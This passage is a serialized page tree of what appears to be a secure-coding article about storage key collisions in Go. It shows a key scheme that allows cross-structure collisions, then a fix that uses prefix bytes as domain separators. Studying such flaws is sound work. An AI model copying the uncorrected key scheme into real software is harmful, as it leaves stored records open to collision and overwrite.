5204},{"style":523},[85205],{"type":28,"value":85206},"        []",{"type":23,"tag":504,"props":85208,"children":85209},{"style":1012},[85210],{"type":28,"value":83516},{"type":23,"tag":504,"props":85212,"children":85213},{"style":523},[85214],{"type":28,"value":2484},{"type":23,"tag":504,"props":85216,"children":85217},{"class":506,"line":1221},[85218,85223,85227,85231,85235,85239,85243,85247],{"type":23,"tag":504,"props":85219,"children":85220},{"style":529},[85221],{"type":28,"value":85222},"        hex",{"type":23,"tag":504,"props":85224,"children":85225},{"style":523},[85226],{"type":28,"value":320},{"type":23,"tag":504,"props":85228,"children":85229},{"style":517},[85230],{"type":28,"value":84352},{"type":23,"tag":504,"props":85232,"children":85233},{"style":523},[85234],{"type":28,"value":526},{"type":23,"tag":504,"props":85236,"children":85237},{"style":517},[85238],{"type":28,"value":8121},{"type":23,"tag":504,"props":85240,"children":85241},{"style":523},[85242],{"type":28,"value":526},{"type":23,"tag":504,"props":85244,"children":85245},{"style":529},[85246],{"type":28,"value":84222},{"type":23,"tag":504,"props":85248,"children":85249},{"style":523},[85250],{"type":28,"value":84373},{"type":23,"tag":504,"props":85252,"children":85253},{"class":506,"line":1276},[85254],{"type":23,"tag":504,"props":85255,"children":85256},{"style":523},[85257],{"type":28,"value":22898},{"type":23,"tag":504,"props":85259,"children":85260},{"class":506,"line":1285},[85261,85265,85269,85273,85277,85281,85285,85289],{"type":23,"tag":504,"props":85262,"children":85263},{"style":529},[85264],{"type":28,"value":84343},{"type":23,"tag":504,"props":85266,"children":85267},{"style":523},[85268],{"type":28,"value":320},{"type":23,"tag":504,"props":85270,"children":85271},{"style":517},[85272],{"type":28,"value":84397},{"type":23,"tag":504,"props":85274,"children":85275},{"style":523},[85276],{"type":28,"value":526},{"type":23,"tag":504,"props":85278,"children":85279},{"style":529},[85280],{"type":28,"value":84306},{"type":23,"tag":504,"props":85282,"children":85283},{"style":523},[85284],{"type":28,"value":576},{"type":23,"tag":504,"props":85286,"children":85287},{"style":529},[85288],{"type":28,"value":84222},{"type":23,"tag":504,"props":85290,"children":85291},{"style":523},[85292],{"type":28,"value":1192},{"type":23,"tag":504,"props":85294,"children":85295},{"class":506,"line":1294},[85296],{"type":23,"tag":504,"props":85297,"children":85298},{"emptyLinePlaceholder":16},[85299],{"type":28,"value":1038},{"type":23,"tag":504,"props":85301,"children":85302},{"class":506,"line":1302},[85303,85308,85312,85316],{"type":23,"tag":504,"props":85304,"children":85305},{"style":529},[85306],{"type":28,"value":85307},"    positionNameEncoded",{"type":23,"tag":504,"props":85309,"children":85310},{"style":598},[85311],{"type":28,"value":75167},{"type":23,"tag":504,"props":85313,"children":85314},{"style":517},[85315],{"type":28,"value":84315},{"type":23,"tag":504,"props":85317,"children":85318},{"style":523},[85319],{"type":28,"value":2439},{"type":23,"tag":504,"props":85321,"children":85322},{"class":506,"line":1311},[85323,85327,85331],{"type":23,"tag":504,"props":85324,"children":85325},{"style":523},[85326],{"type":28,"value":85206},{"type":23,"tag":504,"props":85328,"children":85329},{"style":1012},[85330],{"type":28,"value":83516},{"type":23,"tag":504,"props":85332,"children":85333},{"style":523},[85334],{"type":28,"value":2484},{"type":23,"tag":504,"props":85336,"children":85337},{"class":506,"line":1334},[85338,85342,85346,85350,85354,85358,85362,85366],{"type":23,"tag":504,"props":85339,"children":85340},{"style":529},[85341],{"type":28,"value":85222},{"type":23,"tag":504,"props":85343,"children":85344},{"style":523},[85345],{"type":28,"value":320},{"type":23,"tag":504,"props":85347,"children":85348},{"style":517},[85349],{"type":28,"value":84352},{"type":23,"tag":504,"props":85351,"children":85352},{"style":523},[85353],{"type":28,"value":526},{"type":23,"tag":504,"props":85355,"children":85356},{"style":517},[85357],{"type":28,"value":8121},{"type":23,"tag":504,"props":85359,"children":85360},{"style":523},[85361],{"type":28,"value":526},{"type":23,"tag":504,"props":85363,"children":85364},{"style":529},[85365],{"type":28,"value":84491},{"type":23,"tag":504,"props":85367,"children":85368},{"style":523},[85369],{"type":28,"value":84373},{"type":23,"tag":504,"props":85371,"children":85372},{"class":506,"line":1370},[85373],{"type":23,"tag":504,"props":85374,"children":85375},{"style":523},[85376],{"type":28,"value":22898},{"type":23,"tag":504,"props":85378,"children":85379},{"class":506,"line":1384},[85380,85384,85388,85392,85396,85400,85404,85408],{"type":23,"tag":504,"props":85381,"children":85382},{"style":529},[85383],{"type":28,"value":84343},{"type":23,"tag":504,"props":85385,"children":85386},{"style":523},[85387],{"type":28,"value":320},{"type":23,"tag":504,"props":85389,"children":85390},{"style":517},[85391],{"type":28,"value":84397},{"type":23,"tag":504,"props":85393,"children":85394},{"style":523},[85395],{"type":28,"value":526},{"type":23,"tag":504,"props":85397,"children":85398},{"style":529},[85399],{"type":28,"value":84432},{"type":23,"tag":504,"props":85401,"children":85402},{"style":523},[85403],{"type":28,"value":576},{"type":23,"tag":504,"props":85405,"children":85406},{"style":529},[85407],{"type":28,"value":84491},{"type":23,"tag":504,"props":85409,"children":85410},{"style":523},[85411],{"type":28,"value":1192},{"type":23,"tag":504,"props":85413,"children":85414},{"class":506,"line":1392},[85415],{"type":23,"tag":504,"props":85416,"children":85417},{"emptyLinePlaceholder":16},[85418],{"type":28,"value":1038},{"type":23,"tag":504,"props":85420,"children":85421},{"class":506,"line":1400},[85422,85427,85431,85435,85439,85443],{"type":23,"tag":504,"props":85423,"children":85424},{"style":529},[85425],{"type":28,"value":85426},"    key",{"type":23,"tag":504,"props":85428,"children":85429},{"style":598},[85430],{"type":28,"value":75167},{"type":23,"tag":504,"props":85432,"children":85433},{"style":529},[85434],{"type":28,"value":80985},{"type":23,"tag":504,"props":85436,"children":85437},{"style":523},[85438],{"type":28,"value":320},{"type":23,"tag":504,"props":85440,"children":85441},{"style":517},[85442],{"type":28,"value":83974},{"type":23,"tag":504,"props":85444,"children":85445},{"style":523},[85446],{"type":28,"value":2439},{"type":23,"tag":504,"props":85448,"children":85449},{"class":506,"line":1422},[85450,85455],{"type":23,"tag":504,"props":85451,"children":85452},{"style":622},[85453],{"type":28,"value":85454},"        \"%d%s%s%s%s\"",{"type":23,"tag":504,"props":85456,"children":85457},{"style":523},[85458],{"type":28,"value":2484},{"type":23,"tag":504,"props":85460,"children":85461},{"class":506,"line":1450},[85462,85467],{"type":23,"tag":504,"props":85463,"children":85464},{"style":529},[85465],{"type":28,"value":85466},"        vaultId",{"type":23,"tag":504,"props":85468,"children":85469},{"style":523},[85470],{"type":28,"value":2484},{"type":23,"tag":504,"props":85472,"children":85473},{"class":506,"line":1463},[85474,85479],{"type":23,"tag":504,"props":85475,"children":85476},{"style":529},[85477],{"type":28,"value":85478},"        Seperator",{"type":23,"tag":504,"props":85480,"children":85481},{"style":523},[85482],{"type":28,"value":2484},{"type":23,"tag":504,"props":85484,"children":85485},{"class":506,"line":1485},[85486,85491],{"type":23,"tag":504,"props":85487,"children":85488},{"style":529},[85489],{"type":28,"value":85490},"        usernameEncoded",{"type":23,"tag":504,"props":85492,"children":85493},{"style":523},[85494],{"type":28,"value":2484},{"type":23,"tag":504,"props":85496,"children":85497},{"class":506,"line":1503},[85498,85502],{"type":23,"tag":504,"props":85499,"children":85500},{"style":529},[85501],{"type":28,"value":85478},{"type":23,"tag":504,"props":85503,"children":85504},{"style":523},[85505],{"type":28,"value":2484},{"type":23,"tag":504,"props":85507,"children":85508},{"class":506,"line":1516},[85509,85514],{"type":23,"tag":504,"props":85510,"children":85511},{"style":529},[85512],{"type":28,"value":85513},"        positionNameEncoded",{"type":23,"tag":504,"props":85515,"children":85516},{"style":523},[85517],{"type":28,"value":2484},{"type":23,"tag":504,"props":85519,"children":85520},{"class":506,"line":1543},[85521],{"type":23,"tag":504,"props":85522,"children":85523},{"style":523},[85524],{"type":28,"value":22898},{"type":23,"tag":504,"props":85526,"children":85527},{"class":506,"line":1583},[85528],{"type":23,"tag":504,"props":85529,"children":85530},{"style":523},[85531],{"type":28,"value":884},{"type":23,"tag":504,"props":85533,"children":85534},{"class":506,"line":1605},[85535],{"type":23,"tag":504,"props":85536,"children":85537},{"emptyLinePlaceholder":16},[85538],{"type":28,"value":1038},{"type":23,"tag":504,"props":85540,"children":85541},{"class":506,"line":1614},[85542],{"type":23,"tag":504,"props":85543,"children":85544},{"emptyLinePlaceholder":16},[85545],{"type":28,"value":1038},{"type":23,"tag":504,"props":85547,"children":85548},{"class":506,"line":1627},[85549,85553,85558],{"type":23,"tag":504,"props":85550,"children":85551},{"style":511},[85552],{"type":28,"value":75051},{"type":23,"tag":504,"props":85554,"children":85555},{"style":517},[85556],{"type":28,"value":85557}," AddressMapKey",{"type":23,"tag":504,"props":85559,"children":85560},{"style":523},[85561],{"type":28,"value":2439},{"type":23,"tag":504,"props":85563,"children":85564},{"class":506,"line":1655},[85565,85569,85573],{"type":23,"tag":504,"props":85566,"children":85567},{"style":529},[85568],{"type":28,"value":83998},{"type":23,"tag":504,"props":85570,"children":85571},{"style":1012},[85572],{"type":28,"value":75172},{"type":23,"tag":504,"props":85574,"children":85575},{"style":523},[85576],{"type":28,"value":2484},{"type":23,"tag":504,"props":85578,"children":85579},{"class":506,"line":1668},[85580,85584,85588,85593,85597],{"type":23,"tag":504,"props":85581,"children":85582},{"style":529},[85583],{"type":28,"value":84010},{"type":23,"tag":504,"props":85585,"children":85586},{"style":523},[85587],{"type":28,"value":576},{"type":23,"tag":504,"props":85589,"children":85590},{"style":529},[85591],{"type":28,"value":85592},"addressName",{"type":23,"tag":504,"props":85594,"children":85595},{"style":523},[85596],{"type":28,"value":74978},{"type":23,"tag":504,"props":85598,"children":85599},{"style":1012},[85600],{"type":28,"value":82979},{"type":23,"tag":504,"props":85602,"children":85603},{"class":506,"line":1682},[85604,85608,85612,85616,85620],{"type":23,"tag":504,"props":85605,"children":85606},{"style":523},[85607],{"type":28,"value":75133},{"type":23,"tag":504,"props":85609,"children":85610},{"style":529},[85611],{"type":28,"value":70905},{"type":23,"tag":504,"props":85613,"children":85614},{"style":523},[85615],{"type":28,"value":74978},{"type":23,"tag":504,"props":85617,"children":85618},{"style":1012},[85619],{"type":28,"value":83516},{"type":23,"tag":504,"props":85621,"children":85622},{"style":523},[85623],{"type":28,"value":537},{"type":23,"tag":504,"props":85625,"children":85626},{"class":506,"line":1691},[85627,85631,85635,85639],{"type":23,"tag":504,"props":85628,"children":85629},{"style":529},[85630],{"type":28,"value":84612},{"type":23,"tag":504,"props":85632,"children":85633},{"style":598},[85634],{"type":28,"value":75167},{"type":23,"tag":504,"props":85636,"children":85637},{"style":517},[85638],{"type":28,"value":84315},{"type":23,"tag":504,"props":85640,"children":85641},{"style":523},[85642],{"type":28,"value":2439},{"type":23,"tag":504,"props":85644,"children":85645},{"class":506,"line":1699},[85646,85650,85654],{"type":23,"tag":504,"props":85647,"children":85648},{"style":523},[85649],{"type":28,"value":85206},{"type":23,"tag":504,"props":85651,"children":85652},{"style":1012},[85653],{"type":28,"value":83516},{"type":23,"tag":504,"props":85655,"children":85656},{"style":523},[85657],{"type":28,"value":2484},{"type":23,"tag":504,"props":85659,"children":85660},{"class":506,"line":1708},[85661,85665,85669,85673,85677,85681,85685,85689],{"type":23,"tag":504,"props":85662,"children":85663},{"style":529},[85664],{"type":28,"value":85222},{"type":23,"tag":504,"props":85666,"children":85667},{"style":523},[85668],{"type":28,"value":320},{"type":23,"tag":504,"props":85670,"children":85671},{"style":517},[85672],{"type":28,"value":84352},{"type":23,"tag":504,"props":85674,"children":85675},{"style":523},[85676],{"type":28,"value":526},{"type":23,"tag":504,"props":85678,"children":85679},{"style":517},[85680],{"type":28,"value":8121},{"type":23,"tag":504,"props":85682,"children":85683},{"style":523},[85684],{"type":28,"value":526},{"type":23,"tag":504,"props":85686,"children":85687},{"style":529},[85688],{"type":28,"value":84222},{"type":23,"tag":504,"props":85690,"children":85691},{"style":523},[85692],{"type":28,"value":84373},{"type":23,"tag":504,"props":85694,"children":85695},{"class":506,"line":1717},[85696],{"type":23,"tag":504,"props":85697,"children":85698},{"style":523},[85699],{"type":28,"value":22898},{"type":23,"tag":504,"props":85701,"children":85702},{"class":506,"line":1725},[85703,85707,85711,85715,85719,85723,85727,85731],{"type":23,"tag":504,"props":85704,"children":85705},{"style":529},[85706],{"type":28,"value":84343},{"type":23,"tag":504,"props":85708,"children":85709},{"style":523},[85710],{"type":28,"value":320},{"type":23,"tag":504,"props":85712,"children":85713},{"style":517},[85714],{"type":28,"value":84397},{"type":23,"tag":504,"props":85716,"children":85717},{"style":523},[85718],{"type":28,"value":526},{"type":23,"tag":504,"props":85720,"children":85721},{"style":529},[85722],{"type":28,"value":84306},{"type":23,"tag":504,"props":85724,"children":85725},{"style":523},[85726],{"type":28,"value":576},{"type":23,"tag":504,"props":85728,"children":85729},{"style":529},[85730],{"type":28,"value":84222},{"type":23,"tag":504,"props":85732,"children":85733},{"style":523},[85734],{"type":28,"value":1192},{"type":23,"tag":504,"props":85736,"children":85737},{"class":506,"line":1757},[85738],{"type":23,"tag":504,"props":85739,"children":85740},{"emptyLinePlaceholder":16},[85741],{"type":28,"value":1038},{"type":23,"tag":504,"props":85743,"children":85744},{"class":506,"line":1765},[85745,85750,85754,85758],{"type":23,"tag":504,"props":85746,"children":85747},{"style":529},[85748],{"type":28,"value":85749},"    addressNameEncoded",{"type":23,"tag":504,"props":85751,"children":85752},{"style":598},[85753],{"type":28,"value":75167},{"type":23,"tag":504,"props":85755,"children":85756},{"style":517},[85757],{"type":28,"value":84315},{"type":23,"tag":504,"props":85759,"children":85760},{"style":523},[85761],{"type":28,"value":2439},{"type":23,"tag":504,"props":85763,"children":85764},{"class":506,"line":22762},[85765,85769,85773],{"type":23,"tag":504,"props":85766,"children":85767},{"style":523},[85768],{"type":28,"value":85206},{"type":23,"tag":504,"props":85770,"children":85771},{"style":1012},[85772],{"type":28,"value":83516},{"type":23,"tag":504,"props":85774,"children":85775},{"style":523},[85776],{"type":28,"value":2484},{"type":23,"tag":504,"props":85778,"children":85779},{"class":506,"line":22799},[85780,85784,85788,85792,85796,85800,85804,85808],{"type":23,"tag":504,"props":85781,"children":85782},{"style":529},[85783],{"type":28,"value":85222},{"type":23,"tag":504,"props":85785,"children":85786},{"style":523},[85787],{"type":28,"value":320},{"type":23,"tag":504,"props":85789,"children":85790},{"style":517},[85791],{"type":28,"value":84352},{"type":23,"tag":504,"props":85793,"children":85794},{"style":523},[85795],{"type":28,"value":526},{"type":23,"tag":504,"props":85797,"children":85798},{"style":517},[85799],{"type":28,"value":8121},{"type":23,"tag":504,"props":85801,"children":85802},{"style":523},[85803],{"type":28,"value":526},{"type":23,"tag":504,"props":85805,"children":85806},{"style":529},[85807],{"type":28,"value":85592},{"type":23,"tag":504,"props":85809,"children":85810},{"style":523},[85811],{"type":28,"value":84373},{"type":23,"tag":504,"props":85813,"children":85814},{"class":506,"line":22812},[85815],{"type":23,"tag":504,"props":85816,"children":85817},{"style":523},[85818],{"type":28,"value":22898},{"type":23,"tag":504,"props":85820,"children":85821},{"class":506,"line":22825},[85822,85826,85830,85834,85838,85843,85847,85851],{"type":23,"tag":504,"props":85823,"children":85824},{"style":529},[85825],{"type":28,"value":84343},{"type":23,"tag":504,"props":85827,"children":85828},{"style":523},[85829],{"type":28,"value":320},{"type":23,"tag":504,"props":85831,"children":85832},{"style":517},[85833],{"type":28,"value":84397},{"type":23,"tag":504,"props":85835,"children":85836},{"style":523},[85837],{"type":28,"value":526},{"type":23,"tag":504,"props":85839,"children":85840},{"style":529},[85841],{"type":28,"value":85842},"addressNameEncoded",{"type":23,"tag":504,"props":85844,"children":85845},{"style":523},[85846],{"type":28,"value":576},{"type":23,"tag":504,"props":85848,"children":85849},{"style":529},[85850],{"type":28,"value":85592},{"type":23,"tag":504,"props":85852,"children":85853},{"style":523},[85854],{"type":28,"value":1192},{"type":23,"tag":504,"props":85856,"children":85857},{"class":506,"line":22838},[85858],{"type":23,"tag":504,"props":85859,"children":85860},{"emptyLinePlaceholder":16},[85861],{"type":28,"value":1038},{"type":23,"tag":504,"props":85863,"children":85864},{"class":506,"line":22892},[85865,85869,85873,85877,85881,85885],{"type":23,"tag":504,"props":85866,"children":85867},{"style":529},[85868],{"type":28,"value":85426},{"type":23,"tag":504,"props":85870,"children":85871},{"style":598},[85872],{"type":28,"value":75167},{"type":23,"tag":504,"props":85874,"children":85875},{"style":529},[85876],{"type":28,"value":80985},{"type":23,"tag":504,"props":85878,"children":85879},{"style":523},[85880],{"type":28,"value":320},{"type":23,"tag":504,"props":85882,"children":85883},{"style":517},[85884],{"type":28,"value":83974},{"type":23,"tag":504,"props":85886,"children":85887},{"style":523},[85888],{"type":28,"value":2439},{"type":23,"tag":504,"props":85890,"children":85891},{"class":506,"line":22901},[85892,85896],{"type":23,"tag":504,"props":85893,"children":85894},{"style":622},[85895],{"type":28,"value":85454},{"type":23,"tag":504,"props":85897,"children":85898},{"style":523},[85899],{"type":28,"value":2484},{"type":23,"tag":504,"props":85901,"children":85902},{"class":506,"line":31258},[85903,85907],{"type":23,"tag":504,"props":85904,"children":85905},{"style":529},[85906],{"type":28,"value":85466},{"type":23,"tag":504,"props":85908,"children":85909},{"style":523},[85910],{"type":28,"value":2484},{"type":23,"tag":504,"props":85912,"children":85913},{"class":506,"line":31279},[85914,85918],{"type":23,"tag":504,"props":85915,"children":85916},{"style":529},[85917],{"type":28,"value":85478},{"type":23,"tag":504,"props":85919,"children":85920},{"style":523},[85921],{"type":28,"value":2484},{"type":23,"tag":504,"props":85923,"children":85924},{"class":506,"line":79702},[85925,85929],{"type":23,"tag":504,"props":85926,"children":85927},{"style":529},[85928],{"type":28,"value":85490},{"type":23,"tag":504,"props":85930,"children":85931},{"style":523},[85932],{"type":28,"value":2484},{"type":23,"tag":504,"props":85934,"children":85935},{"class":506,"line":79715},[85936,85940],{"type":23,"tag":504,"props":85937,"children":85938},{"style":529},[85939],{"type":28,"value":85478},{"type":23,"tag":504,"props":85941,"children":85942},{"style":523},[85943],{"type":28,"value":2484},{"type":23,"tag":504,"props":85945,"children":85946},{"class":506,"line":79723},[85947,85952],{"type":23,"tag":504,"props":85948,"children":85949},{"style":529},[85950],{"type":28,"value":85951},"        addressNameEncoded",{"type":23,"tag":504,"props":85953,"children":85954},{"style":523},[85955],{"type":28,"value":2484},{"type":23,"tag":504,"props":85957,"children":85958},{"class":506,"line":79731},[85959],{"type":23,"tag":504,"props":85960,"children":85961},{"style":523},[85962],{"type":28,"value":22898},{"type":23,"tag":504,"props":85964,"children":85965},{"class":506,"line":79739},[85966],{"type":23,"tag":504,"props":85967,"children":85968},{"style":523},[85969],{"type":28,"value":884},{"type":23,"tag":24,"props":85971,"children":85972},{},[85973,85975,85980],{"type":28,"value":85974},"Unfortunately, when dealing with more than one storage entry within the same ",{"type":23,"tag":56,"props":85976,"children":85978},{"className":85977},[],[85979],{"type":28,"value":83728},{"type":28,"value":85981},", the previous implementation is not enough to guarantee key uniqueness. While it still effectively prevents key collisions within each individual structure, it does not prevent cross-structure key collisions.",{"type":23,"tag":494,"props":85983,"children":85985},{"code":85984},"vaultId = 1, username = \"a\", positionName = \"b\"\n    => PositionMapKey = \"1|a|b\"\n\nvaultId = 1, username = \"a\", addressName = \"b\"\n    => AddressMapKey = \"1|a||b\"\n",[85986],{"type":23,"tag":56,"props":85987,"children":85988},{"__ignoreMap":7},[85989],{"type":28,"value":85984},{"type":23,"tag":24,"props":85991,"children":85992},{},[85993],{"type":28,"value":85994},"To prevent this, add a structure-specific prefix to the start of each key to act as a domain separator.",{"type":23,"tag":494,"props":85996,"children":85998},{"code":85997,"language":74915,"meta":7,"className":74916,"style":7},"const (\n    Seperator = \"|\"\n    PositionMapPrefix = \"\\x01\"\n    AddressMapPrefix = \"\\x02\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        PositionMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%s%d%s%s%s%s\",\n        AddressMapPrefix,\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[85999],{"type":23,"tag":56,"props":86000,"children":86001},{"__ignoreMap":7},[86002,86013,86028,86055,86080,86087,86094,86101,86116,86131,86158,86181,86200,86215,86250,86257,86292,86299,86318,86333,86368,86375,86410,86417,86444,86456,86468,86479,86490,86501,86512,86523,86530,86537,86544,86551,86566,86581,86608,86631,86650,86665,86700,86707,86742,86749,86768,86783,86818,86825,86860,86867,86894,86905,86917,86928,86939,86950,86961,86972,86980],{"type":23,"tag":504,"props":86003,"children":86004},{"class":506,"line":507},[86005,86009],{"type":23,"tag":504,"props":86006,"children":86007},{"style":511},[86008],{"type":28,"value":8635},{"type":23,"tag":504,"props":86010,"children":86011},{"style":523},[86012],{"type":28,"value":77317},{"type":23,"tag":504,"props":86014,"children":86015},{"class":506,"line":540},[86016,86020,86024],{"type":23,"tag":504,"props":86017,"children":86018},{"style":529},[86019],{"type":28,"value":84082},{"type":23,"tag":504,"props":86021,"children":86022},{"style":598},[86023],{"type":28,"value":648},{"type":23,"tag":504,"props":86025,"children":86026},{"style":622},[86027],{"type":28,"value":84091},{"type":23,"tag":504,"props":86029,"children":86030},{"class":506,"line":555},[86031,86036,86040,86045,86050],{"type":23,"tag":504,"props":86032,"children":86033},{"style":529},[86034],{"type":28,"value":86035},"    PositionMapPrefix",{"type":23,"tag":504,"props":86037,"children":86038},{"style":598},[86039],{"type":28,"value":648},{"type":23,"tag":504,"props":86041,"children":86042},{"style":622},[86043],{"type":28,"value":86044}," \"",{"type":23,"tag":504,"props":86046,"children":86047},{"style":47353},[86048],{"type":28,"value":86049},"\\x01",{"type":23,"tag":504,"props":86051,"children":86052},{"style":622},[86053],{"type":28,"value":86054},"\"\n",{"type":23,"tag":504,"props":86056,"children":86057},{"class":506,"line":633},[86058,86063,86067,86071,86076],{"type":23,"tag":504,"props":86059,"children":86060},{"style":529},[86061],{"type":28,"value":86062},"    AddressMapPrefix",{"type":23,"tag":504,"props":86064,"children":86065},{"style":598},[86066],{"type":28,"value":648},{"type":23,"tag":504,"props":86068,"children":86069},{"style":622},[86070],{"type":28,"value":86044},{"type":23,"tag":504,"props":86072,"children":86073},{"style":47353},[86074],{"type":28,"value":86075},"\\x02",{"type":23,"tag":504,"props":86077,"children":86078},{"style":622},[86079],{"type":28,"value":86054},{"type":23,"tag":504,"props":86081,"children":86082},{"class":506,"line":687},[86083],{"type":23,"tag":504,"props":86084,"children":86085},{"style":523},[86086],{"type":28,"value":1192},{"type":23,"tag":504,"props":86088,"children":86089},{"class":506,"line":736},[86090],{"type":23,"tag":504,"props":86091,"children":86092},{"emptyLinePlaceholder":16},[86093],{"type":28,"value":1038},{"type":23,"tag":504,"props":86095,"children":86096},{"class":506,"line":785},[86097],{"type":23,"tag":504,"props":86098,"children":86099},{"emptyLinePlaceholder":16},[86100],{"type":28,"value":1038},{"type":23,"tag":504,"props":86102,"children":86103},{"class":506,"line":813},[86104,86108,86112],{"type":23,"tag":504,"props":86105,"children":86106},{"style":511},[86107],{"type":28,"value":75051},{"type":23,"tag":504,"props":86109,"children":86110},{"style":517},[86111],{"type":28,"value":85110},{"type":23,"tag":504,"props":86113,"children":86114},{"style":523},[86115],{"type":28,"value":2439},{"type":23,"tag":504,"props":86117,"children":86118},{"class":506,"line":851},[86119,86123,86127],{"type":23,"tag":504,"props":86120,"children":86121},{"style":529},[86122],{"type":28,"value":83998},{"type":23,"tag":504,"props":86124,"children":86125},{"style":1012},[86126],{"type":28,"value":75172},{"type":23,"tag":504,"props":86128,"children":86129},{"style":523},[86130],{"type":28,"value":2484},{"type":23,"tag":504,"props":86132,"children":86133},{"class":506,"line":869},[86134,86138,86142,86146,86150,86154],{"type":23,"tag":504,"props":86135,"children":86136},{"style":529},[86137],{"type":28,"value":84010},{"type":23,"tag":504,"props":86139,"children":86140},{"style":523},[86141],{"type":28,"value":576},{"type":23,"tag":504,"props":86143,"children":86144},{"style":529},[86145],{"type":28,"value":84491},{"type":23,"tag":504,"props":86147,"children":86148},{"style":523},[86149],{"type":28,"value":74978},{"type":23,"tag":504,"props":86151,"children":86152},{"style":1012},[86153],{"type":28,"value":83516},{"type":23,"tag":504,"props":86155,"children":86156},{"style":523},[86157],{"type":28,"value":2484},{"type":23,"tag":504,"props":86159,"children":86160},{"class":506,"line":878},[86161,86165,86169,86173,86177],{"type":23,"tag":504,"props":86162,"children":86163},{"style":523},[86164],{"type":28,"value":75133},{"type":23,"tag":504,"props":86166,"children":86167},{"style":529},[86168],{"type":28,"value":70905},{"type":23,"tag":504,"props":86170,"children":86171},{"style":523},[86172],{"type":28,"value":74978},{"type":23,"tag":504,"props":86174,"children":86175},{"style":1012},[86176],{"type":28,"value":83516},{"type":23,"tag":504,"props":86178,"children":86179},{"style":523},[86180],{"type":28,"value":537},{"type":23,"tag":504,"props":86182,"children":86183},{"class":506,"line":1221},[86184,86188,86192,86196],{"type":23,"tag":504,"props":86185,"children":86186},{"style":529},[86187],{"type":28,"value":84612},{"type":23,"tag":504,"props":86189,"children":86190},{"style":598},[86191],{"type":28,"value":75167},{"type":23,"tag":504,"props":86193,"children":86194},{"style":517},[86195],{"type":28,"value":84315},{"type":23,"tag":504,"props":86197,"children":86198},{"style":523},[86199],{"type":28,"value":2439},{"type":23,"tag":504,"props":86201,"children":86202},{"class":506,"line":1276},[86203,86207,86211],{"type":23,"tag":504,"props":86204,"children":86205},{"style":523},[86206],{"type":28,"value":85206},{"type":23,"tag":504,"props":86208,"children":86209},{"style":1012},[86210],{"type":28,"value":83516},{"type":23,"tag":504,"props":86212,"children":86213},{"style":523},[86214],{"type":28,"value":2484},{"type":23,"tag":504,"props":86216,"children":86217},{"class":506,"line":1285},[86218,86222,86226,86230,86234,86238,86242,86246],{"type":23,"tag":504,"props":86219,"children":86220},{"style":529},[86221],{"type":28,"value":85222},{"type":23,"tag":504,"props":86223,"children":86224},{"style":523},[86225],{"type":28,"value":320},{"type":23,"tag":504,"props":86227,"children":86228},{"style":517},[86229],{"type":28,"value":84352},{"type":23,"tag":504,"props":86231,"children":86232},{"style":523},[86233],{"type":28,"value":526},{"type":23,"tag":504,"props":86235,"children":86236},{"style":517},[86237],{"type":28,"value":8121},{"type":23,"tag":504,"props":86239,"children":86240},{"style":523},[86241],{"type":28,"value":526},{"type":23,"tag":504,"props":86243,"children":86244},{"style":529},[86245],{"type":28,"value":84222},{"type":23,"tag":504,"props":86247,"children":86248},{"style":523},[86249],{"type":28,"value":84373},{"type":23,"tag":504,"props":86251,"children":86252},{"class":506,"line":1294},[86253],{"type":23,"tag":504,"props":86254,"children":86255},{"style":523},[86256],{"type":28,"value":22898},{"type":23,"tag":504,"props":86258,"children":86259},{"class":506,"line":1302},[86260,86264,86268,86272,86276,86280,86284,86288],{"type":23,"tag":504,"props":86261,"children":86262},{"style":529},[86263],{"type":28,"value":84343},{"type":23,"tag":504,"props":86265,"children":86266},{"style":523},[86267],{"type":28,"value":320},{"type":23,"tag":504,"props":86269,"children":86270},{"style":517},[86271],{"type":28,"value":84397},{"type":23,"tag":504,"props":86273,"children":86274},{"style":523},[86275],{"type":28,"value":526},{"type":23,"tag":504,"props":86277,"children":86278},{"style":529},[86279],{"type":28,"value":84306},{"type":23,"tag":504,"props":86281,"children":86282},{"style":523},[86283],{"type":28,"value":576},{"type":23,"tag":504,"props":86285,"children":86286},{"style":529},[86287],{"type":28,"value":84222},{"type":23,"tag":504,"props":86289,"children":86290},{"style":523},[86291],{"type":28,"value":1192},{"type":23,"tag":504,"props":86293,"children":86294},{"class":506,"line":1311},[86295],{"type":23,"tag":504,"props":86296,"children":86297},{"emptyLinePlaceholder":16},[86298],{"type":28,"value":1038},{"type":23,"tag":504,"props":86300,"children":86301},{"class":506,"line":1334},[86302,86306,86310,86314],{"type":23,"tag":504,"props":86303,"children":86304},{"style":529},[86305],{"type":28,"value":85307},{"type":23,"tag":504,"props":86307,"children":86308},{"style":598},[86309],{"type":28,"value":75167},{"type":23,"tag":504,"props":86311,"children":86312},{"style":517},[86313],{"type":28,"value":84315},{"type":23,"tag":504,"props":86315,"children":86316},{"style":523},[86317],{"type":28,"value":2439},{"type":23,"tag":504,"props":86319,"children":86320},{"class":506,"line":1370},[86321,86325,86329],{"type":23,"tag":504,"props":86322,"children":86323},{"style":523},[86324],{"type":28,"value":85206},{"type":23,"tag":504,"props":86326,"children":86327},{"style":1012},[86328],{"type":28,"value":83516},{"type":23,"tag":504,"props":86330,"children":86331},{"style":523},[86332],{"type":28,"value":2484},{"type":23,"tag":504,"props":86334,"children":86335},{"class":506,"line":1384},[86336,86340,86344,86348,86352,86356,86360,86364],{"type":23,"tag":504,"props":86337,"children":86338},{"style":529},[86339],{"type":28,"value":85222},{"type":23,"tag":504,"props":86341,"children":86342},{"style":523},[86343],{"type":28,"value":320},{"type":23,"tag":504,"props":86345,"children":86346},{"style":517},[86347],{"type":28,"value":84352},{"type":23,"tag":504,